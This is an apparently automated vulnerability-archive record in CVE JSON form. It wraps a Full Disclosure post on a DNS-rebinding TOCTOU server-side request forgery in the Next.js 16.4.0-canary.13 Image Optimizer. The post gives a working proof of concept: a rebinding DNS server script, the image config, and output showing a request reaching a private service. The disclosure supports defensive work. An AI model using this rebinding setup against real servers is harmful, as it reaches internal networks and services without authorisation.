CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
10 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Next.js",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Next.js 16.4.0-canary.13 contains a DNS rebinding TOCTOU Server-Side\nRequest Forgery vulnerability in the Image Optimizer\u0027s fetchExternalImage()\nfunctionality.\n\nNext.js attempts to prevent requests to private network resources by\nresolving the supplied hostname and checking the resulting addresses using\nisPrivateIp():\n\nconst records = await lookup(hostname, {\n family: 0,\n all: true,\n hints: ALL,\n})\n\nconst privateIps = records.map((record) =\u003e record.address)\n\nif (privateIps.some((ip) =\u003e isPrivateIp(ip))) {\n throw new ImageError(400, \u0027\"url\" parameter is not allowed\u0027)\n}\n\nAfter the DNS validation succeeds, the application performs the external\nrequest using the original URL:\n\nconst res = await fetch(href, {\n signal: AbortSignal.timeout(7_000),\n redirect: \u0027manual\u0027,\n})\n\nThe IP address validated by lookup() is not pinned to the subsequent HTTP\nconnection. As a result, fetch() can perform another DNS resolution for the\nsame hostname.\n\nAn attacker-controlled DNS server can return a public IP address during the\nfirst resolution, allowing the hostname to pass the private-IP validation,\nand then return a private IP address during the subsequent resolution\nperformed for the HTTP connection.\n\nThis causes Next.js to validate one network destination but ultimately\nconnect to another, bypassing the Image Optimizer\u0027s private-network SSRF\nprotection.\n\nTesting confirms that this vulnerability *still exists in Next.js\n16.4.0-canary.13*.\nImpact\n\nA remote attacker can bypass the Next.js Image Optimizer\u0027s private-IP\nprotections and cause the application server to issue HTTP requests to\nprivate network resources.\n\nDepending on the deployment environment, this may allow access to internal\nAPIs, container-network services, RFC1918 addresses, localhost services,\nadministrative interfaces, or other HTTP services reachable from the\nNext.js server.\n\nThe demonstrated proof confirms that the server establishes an HTTP\nconnection to a private address after validating a public DNS response.\nAlthough the Image Optimizer subsequently rejects the returned content\nbecause it is not a valid image, the internal HTTP request has already\noccurred.\nProof of Concept\n\nThe vulnerability was reproduced using an isolated Docker environment\ncontaining a controlled DNS server, Next.js 16.4.0-canary.13, and a private\nHTTP service.\n\nThe controlled hostname rebind.test is permitted by the application\u0027s image\nconfiguration:\n\nmodule.exports = {\n images: {\n remotePatterns: [\n {\n protocol: \u0027http\u0027,\n hostname: \u0027rebind.test\u0027,\n pathname: \u0027/**\u0027,\n },\n ],\n },\n}\n\nThe controlled DNS server returns a public IP address for the first\nA-record lookup and the private Docker-network address for the second\nlookup:\n\nconst { Packet, UDPServer } = require(\u0027dns2\u0027)\n\nlet addressLookups = 0\n\nconst server = new UDPServer((request, send) =\u003e {\n const response = Packet.createResponseFromRequest(request)\n const question = request.questions[0]\n\n if (question.type === Packet.TYPE.A) {\n addressLookups++\n\n const address =\n addressLookups === 1 ? \u002793.184.216.34\u0027 : \u0027172.30.0.4\u0027\n\n response.answers.push({\n name: question.name,\n type: Packet.TYPE.A,\n class: Packet.CLASS.IN,\n address,\n ttl: 5,\n })\n\n console.log(`A lookup ${addressLookups}: ${address}`)\n }\n\n send(response)\n})\n\nserver.bind(53, \u00270.0.0.0\u0027)\nconsole.log(\u0027DNS server listening on UDP 53\u0027)\n\nThe first lookup returns:\n\n93.184.216.34\n\nThe second lookup returns:\n\n172.30.0.4\n\nThe private service listens on 172.30.0.4:8080 and records any HTTP request\nit receives.\n\nThe PoC is executed using:\n\n$ poc.sh\n\nPoC Output\n\n$ poc.sh\nNext container command: [\"npx\",\"next\",\"start\"]\ninternal-1 | Private listener listening on 0.0.0.0:8080\ninternal-1 | GET /secret HTTP/1.1\nnext-1 | \u25b2 Next.js 16.4.0-canary.13\nnext-1 | - Local: http://localhost:3000\nnext-1 | - Network: http://172.30.0.3:3000\nnext-1 | \u2713 Ready in 94ms\nnext-1 | \u2713 Running next.config.js took 16ms\nnext-1 | \u2a2f The requested resource isn\u0027t a valid image for\nhttp://rebind.test:8080/secret received null\ninternal-1 | Host: rebind.test:8080\ndns-1 | DNS server listening on UDP 53\ndns-1 | A lookup 1: 93.184.216.34\ndns-1 | A lookup 2: 172.30.0.4\nPoC passed: public validation was followed by an HTTP request to a\nprivate Docker-network address.\n\nThe output demonstrates that the first DNS resolution returned the public\nIP address 93.184.216.34, which passed the Next.js private-IP validation.\n\nThe second DNS resolution returned the private Docker-network address\n172.30.0.4.\n\nThe private listener then received:\n\nGET /secret HTTP/1.1\nHost: rebind.test:8080\n\nThis confirms that Next.js validated the hostname using the public DNS\nresponse but subsequently established an HTTP connection to the private\nnetwork address.\n\nThe following Next.js error does not invalidate the SSRF:\n\nThe requested resource isn\u0027t a valid image for\nhttp://rebind.test:8080/secret received null\n\nThe response is intentionally plain text rather than an image. The internal\nHTTP request occurs before the Image Optimizer rejects the response, as\ndemonstrated by the private listener receiving GET /secret.\n\nTherefore, the PoC confirms that the private-IP restriction can be bypassed\nusing DNS rebinding.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T06:42:13Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/29"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/29"
},
{
"url": "http://172.30.0.3:3000"
},
{
"url": "http://localhost:3000"
},
{
"url": "http://rebind.test:8080/secret"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/29"
],
"discovery": "EXTERNAL"
},
"title": "Next.js 16.4.0-canary.13 Image Optimizer DNS Rebinding TOCTOU SSRF Still Exists",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0015",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/29",
"automated": true,
"contentSha256": "b531735185ae5849ae015495e10064ea38f69fe0d1ba3fa4903b06aaffa0dbdb",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/29",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-01T23:48:36Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-07T06:42:13Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0015"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
displaying 381 - 387 publications in total 387